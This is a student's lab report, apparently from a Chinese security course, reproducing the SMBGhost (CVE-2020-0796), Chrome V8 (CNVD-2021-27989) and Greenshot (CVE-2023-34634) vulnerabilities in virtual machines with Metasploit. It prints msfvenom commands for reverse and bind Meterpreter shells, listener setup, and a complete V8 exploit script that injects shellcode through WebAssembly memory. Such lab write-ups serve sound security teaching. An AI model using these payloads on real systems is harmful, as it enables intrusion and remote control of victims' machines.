20212308 2023-2024-2 《网络与系统攻防技术》实验六实验报告

20212308 2023-2024-2 《网络与系统攻防技术》实验六实验报告

1.实验内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 1.1一个主动攻击实践,尽量使用最新的类似漏洞,我选择复现的是针对windows 10系统的漏洞:CVE-2020-0796(永恒之黑);
  • 1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞,我选择复现的是针对chrome浏览器的漏洞:CNVD-2021-27989
  • 1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞,我选择复现的是针对greenshot应用软件的漏洞:CVE-2023-34634
  • 1.4 成功应用任何一个辅助模块,我选择应用端口扫描辅助模块

2.实验过程

2.1一个主动攻击实践:CVE-2020-0796(永恒之黑)

  • SMBv3是一个用于Windows系统之间共享文件、打印机等的协议。
  • 而CVE-2020-0796(永恒之黑)是一个在Windows SMBv3(Server Message Block version 3)中发现的远程代码执行漏洞。
  • 这个漏洞影响了Windows 10和Windows Server 2019等的多个版本。
  • 此漏洞出现的原因是SMBv3在处理压缩数据包时没有正确地验证数据包的长度,导致了一个整数溢出问题。
  • 攻击者可以利用这个漏洞,无需用户授权验证,就能够在目标系统上远程执行恶意代码。

本次复现,我选择了win10系统的虚拟机作为靶机,kali作为攻击机。

① 首先需要安装win10虚拟机,虚拟机配置教程可以参考如下链接:https://blog.csdn.net/AUZKAY/article/details/137916760。此处不再赘述。

②从github上下载恶意脚本,URL如下:https://github.com/chompie1337/SMBGhost_RCE_PoC

由于下载后是zip压缩包,所以使用unzip命令解压。

unzip [资源名]
# 如果shell不在目标资源的目录下,就要在资源名前加上路径
# 如果想要解压到指定路径下,需要配置-d参数,"-d [目标保存路径]"

请添加图片描述

③利用msfvenom生成恶意负载

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=2308 -b '\x00' -i 1 -f python > 20212308_cve20200796.py

解释如下:

-p windows/x64/meterpreter/bind_tcp: 生成的载荷类型,含义是在 Windows 64 位系统上创建一个 TCP 服务器,等待 Meterpreter 客户端的连接
LPORT=2308: 回连的TCP 端口为 2308
-b ‘\x00’: 载荷中不包含 ‘\x00’(空字节)
-i 1: 编码迭代次数为 1
-f python: 输出格式为 Python
20212308_cve20200796.py: 文件名

请添加图片描述

请添加图片描述

④用生成的payload替换github恶意代码中的payload请添加图片描述

请添加图片描述

⑤启动msf控制台,准备监听

请添加图片描述

use exploit/multi/handler
# 多处理器模块,常用于处理其他exploit模块触发的反向连接

set payload windows/x64/meterpreter/bind_tcp
# 设置payload,和之前生成的payload相同

set RHOST 172.30.4.46
# 设置靶机ip

set LPORT 2308
# kali的监听端口

run
# 启动

请添加图片描述

⑥启动攻击代码,主动发起攻击
因为代码是python,因此用python环境运行恶意代码,并指定靶机ip
请添加图片描述

此处遇到了一个错误,错误提示是timed out,也就是超时错误。
我的第一反应是负载太大了,将近一百万字节。所以想把它分段。经过查找资料自学,我知道了:在msf中,meterpreter_bind_tcp表示不分段,meterpreter/bind_tcp表示分段;同理meterpreter_reverse_tcp表示不分段,meterpreter/reverse_tcp表示分段。所以接下来实践一下,减小字节数,是否可以解决此报错。

接下来重新生成payload,重新制作恶意代码
请添加图片描述
请添加图片描述

请添加图片描述

在这里插入图片描述

请添加图片描述
上述图片结果说明错不在此。

接下来把防火墙和杀软全关掉。
请添加图片描述
上述图片结果说明:一,超时错误是由于防火墙拦住了;二,出现了新的错误。

继续排查错误。
请添加图片描述提权也无济于事,不是权限的问题。

接下来怀疑这个漏洞是不是被修复了???
通过网络博客中的方法:https://www.cnblogs.com/MF-Blog/p/14211210.html,排查该漏洞是否被修复。


【补充(20240522),这个方法是错误的!!】


请添加图片描述
据博客的方法,主机还存在永恒之黑漏洞。

又一篇博客说是内存大小不够,调整一下。

请添加图片描述无用。

还有博客说是多运行几次就可以了。
请添加图片描述无用。

此处反复尝试多次多天无果,理论上没有错误,推测可能是系统的问题。


20240522,补充!!!!!!找到了原因:同样是win10,该漏洞只存在19年的win10,例如win10的1903版本;而我的机器的win10是22年的,版本是22H2,应该是把这个漏洞修复了!!!!!而之前说的网站的检测漏洞是否被修复的方法是错误的。

由于我的PC的内存实在是不够了,不能再装一个1903的win10虚拟机去复现了。但是上面的理论是正确的,终于找到了最后一步失败的原因,也是一大成功!

2.2 一个针对浏览器的攻击:CNVD-2021-27989

首先在国家信息安全漏洞共享平台上,了解该漏洞的详细信息(https://www.cnvd.org.cn/flaw/show/CNVD-2021-27989)。
请添加图片描述

该漏洞最开始是安天集团披露的,可以查看其《关于Google Chrome远程代码执行0Day漏洞通报》(https://mp.weixin.qq.com/s/5tVxAbWglHEWca10IcE87w)。

从上述通报中,可以得到关于漏洞本身及复现条件的有效信息如下:

  • 漏洞影响Chrome89.0.4389.114以及所有低版本,部分使用Google Chrome内核的其他浏览器也受其影响 ==> 【复现的版本要求】
  • 这是关于Chrome浏览器远程代码执行的漏洞 ==> 【漏洞可以实现远程控制】
  • 攻击者可通过构造特殊的Web页面,诱导受害者访问,从而达到远程代码执行的目的 ==> 【需要构造钓鱼网页实现漏洞复现】
  • 该漏洞若被单独使用则不能击穿Chrome的沙盒模式,但并不意味着,这不是一个严重的漏洞,因为在实际攻击中,多个漏洞可能被组合使用,若该漏洞与其他穿透沙盒的漏洞组合使用,则可能具有极大安全威胁 ==> 【单一漏洞复现,需要chrome浏览器关闭沙盒模式的保护;真实情况下是多漏洞组合利用穿透沙盒的保护】

关于此漏洞产生原理的细节可以参考下列文章及其引用的链接:https://www.freebuf.com/sectool/271710.html(学疏才浅,我暂时没看懂)

对这个漏洞及其复现条件有了充分的了解,接下来搭建复现的环境。

我使用的操作系统是win10,在虚拟机中下载合适版本的chrome浏览器。

各个版本的chrome浏览器的参考下载网站:https://www.chromedownloads.net/chrome64win-stable/

请添加图片描述

删除浏览器的自动更新文件
请添加图片描述

下载后运行一下,正常没毛病。
请添加图片描述

使用msf构造攻击的payload。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.30.1.171 lport=2308 PrependMigrate=true PrependMigrateProc=svchost.exe -f csharp -o 20212308wxc_payload.txt

# 对于命令的解释已在下图标注

请添加图片描述

接下来将生成的payload注入在写好的目标网站中。

下面是一个演示代码,代码中只包含必要的脚本,没有页面。

<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [ ]; <!-- 此处把刚刚生成的shellcode放进来 --> 
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>

请添加图片描述

启动msf控制台,开启监听。

msf6 > use exploit/multi/handler 

set payload windows/x64/meterpreter/reverse_tcp

set lhost 172.30.1.171
 
set lport 2308

show options

run

请添加图片描述

(接下来的操作有问题,后面已经更正了)
请添加图片描述

请添加图片描述

请添加图片描述

在powershell中启动无沙盒模式的chrome
请添加图片描述

访问目标网站,一直没成功(前面说的出错了就是这里)。
请添加图片描述

关掉杀软、防火墙、系统更新应该最先做的。
请添加图片描述

换个网络(没用,不是网络的问题)。请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述
上图说明不是网络的问题。

突然想到是不是kali服务器没开,资源定位不到我网站存放的地址?
请添加图片描述

出错了,疑惑了。
请添加图片描述

考虑端口占用。
请添加图片描述

请添加图片描述

请添加图片描述

接下来转变思路,我先不反弹shell。把html文件给靶机本地,shellcode也修改一下,改成触发后弹出计算器,尝试一下。

请添加图片描述

请添加图片描述

请添加图片描述
根据上图,此时成功了!

进一步怀疑,还是服务器没配置对?所以让靶机访问kali中的网站访问不到。那我尝试将反弹shell的html代码给靶机本地运行。步骤和上面描述过的相同,此处不再做重复的文字解释。

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述成功了!!!

复现浏览器漏洞成功,可以反弹shell!

之前失败的问题应该出在kali的配置上,但这并不是漏洞复现的重点,不做过多纠结。上图已经可以成功复现漏洞。

2.3 一个针对客户端的攻击:CVE-2023-34634

利用msf控制台的search功能,寻找一个针对win10客户端的攻击.

请添加图片描述

发现一个比较新的漏洞,就决定复现它了!

请添加图片描述

greenshot是一个截图和图片处理工具,功能使用、界面简约,受众用户非常多,网上随便一搜就有很多教程,因此该漏洞影响还是很大的。

在NIST网站上,查看该漏洞的简单描述和CVSS评级。
链接为:https://nvd.nist.gov/vuln/detail/CVE-2023-34634
请添加图片描述

NIST中还有对于该漏洞原理分析、复现分析等的参考资料,也很有用。但有几个链接一直打不开,可能需要外网,看其他的就可以了。
请添加图片描述

查看阿里云漏洞库,对于这个漏洞也有比较权威的解释。
链接为:https://avd.aliyun.com/detail?id=AVD-2023-34634
请添加图片描述

在msf控制台中详细查看一下复现该漏洞的需要的参数,进一步了解。

这部分列出了此漏洞利用模块支持的目标系统,该漏洞只有一个目标,即“Windows Command”。
请添加图片描述

构建复现的环境,我是在win10中下载的greenshot软件。直接在官网下载就行,官网还没打补丁。(都已经快一年了,官方还没更新版本,多害怕!我用的软件会不会也有这种情况。)
请添加图片描述

根据提示安装即可。
请添加图片描述

安装完毕。

进入msf,用info -d查看该漏洞对应模块的完整信息,特别详细好用。
请添加图片描述

请添加图片描述

接下来根据“说明书”复现即可。

解释一下各选项的含义:

EXITFUNC:当载荷执行完毕后,它如何退出(比如使用进程退出、线程退出等)。

FETCH_COMMAND:用于从攻击者机器上获取载荷的命令(这里使用的是CURL)。

FETCH_DELETE:是否在目标系统上执行载荷后尝试删除它。

FETCH_FILENAME:在目标系统上存储载荷时使用的文件名(这里是随机生成的)。

FETCH_SRVHOST 和 FETCH_SRVPORT:攻击者机器上用于服务载荷的IP地址和端口。

LHOST 和 LPORT:Metasploit框架监听的IP地址和端口,以接收从目标系统返回的连接。

请添加图片描述
请添加图片描述

根据上图提示,我们可以看到目标图像已经生成,根据路径找到它,传给靶机。
请添加图片描述

在靶机上,使用greenshot打开该文件。
请添加图片描述

kali获取到了靶机的shell,攻击成功!!!!!
请添加图片描述

2.4 成功应用任何一个辅助模块:端口扫描

在渗透信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。辅助模块能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击

本次实验我选择应用的是端口扫描辅助模块。

在msf控制台上,查看辅助模块中的端口扫描功能。
根据提示设置参数。
我要扫的靶机是win10,端口是1-65525。线程量可以设置大一些,我设置的还是有些保守,并行扫描速度快一些。
请添加图片描述
请添加图片描述扫描成功!

3.问题及解决方案

  • 问题1:在主动攻击实践任务中,反复报错

  • 问题1解决方案:已在2.1中详细说明了调错过程。最终失败的原因也找到了,是操作系统版本不匹配,我使用的版本已经把漏洞修复了。

  • 问题2:在针对浏览器的攻击任务中,我最开始想要复现的是cve_2021_21220,但却失败了。
    我首先用msf控制台的search功能寻找漏洞。cve_2021_21220是针对linux下的chrome浏览器的漏洞。我选择的靶机是ubuntu23.10.1。
    请添加图片描述
    查看详细信息:
    请添加图片描述
    然后我在网上找到了chrome浏览器各个版本的下载链接,下载安装之后却白屏无法启动。我尝试了:①使用不同来源的安装包;②安装不同版本的chrome;③根据网络博客的提示调错。反复折腾两三天仍然没有好转。
    请添加图片描述

请添加图片描述https://blog.csdn.net/m0_54318703/article/details/133772505
请添加图片描述

请添加图片描述

请添加图片描述

  • 问题2解决方案:这个问题最终也没找到答案,没有解决。于是我换了一个漏洞做实验。

  • 问题3:win10靶机连接不到kali的网站

  • 问题3解决方案:服务器的搭建不是本实验的重点,直接把html文件放在win10本地。

4.学习感悟、思考等

时常感叹为什么同学们做实验那么顺利,我却经常两三天被一个bug困扰找不到答案。本次实验我前前后后安装了四个虚拟机,尝试过六个漏洞。攻防实验之难,难于上青天。

但转念一想,我的漏洞复现任务和其他同学的大都不一样,我选择的都是近几年的新漏洞,有一些漏洞的复现资料还较少。虽然过程坎坷,但终有所获。

通过本次实验我对msf的使用更加熟练,同时,由于我选择了比较新的漏洞实现复现而不是照搬照抄学长学姐的实验报告,所以对于这些漏洞及其复现有了更深层的理解和体会

我印象最深的是复现greenshot漏洞,最开始查找资料时资料较少,十分困惑。后来在NIST网站上找到了许多参考链接,知道了这个漏洞的更多信息。我还查找到了用PHP和python复现此漏洞的参考代码,也是可以使用的。后来,我尝试用info -d查看漏洞模块的详细信息,直接醍醐灌顶。写的太详细了,至此我才发掘meterpreter的好用之处。除此之外,我还研究了此漏洞模块的meterpreter源代码。源代码是用ruby写的,这是一个面向对象的语言,但由于meterpreter的工程中,各种继承和重写的逻辑比较复杂,现在还没弄懂。

最值得关注的是,我复现的greenshot漏洞是2023年爆出的,2024年中旬还没有修复。虽然网上也能搜到不少补丁包,但官网下载该软件的安装包仍是2017年的。在网上搜索greenshot,知乎、CSDN、公众号推送等还有不少文章在推荐这款软件。我也在靶机上自己使用了几次,确实方便快捷。这不仅让我警惕:我使用的软件会不会也有这种情况,是不是我的防火墙将恶意攻击拦截在外。

网络空间安全,真是任重道远啊!

参考资料

本次实验参考的资料太多了,不完全列举如下:

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值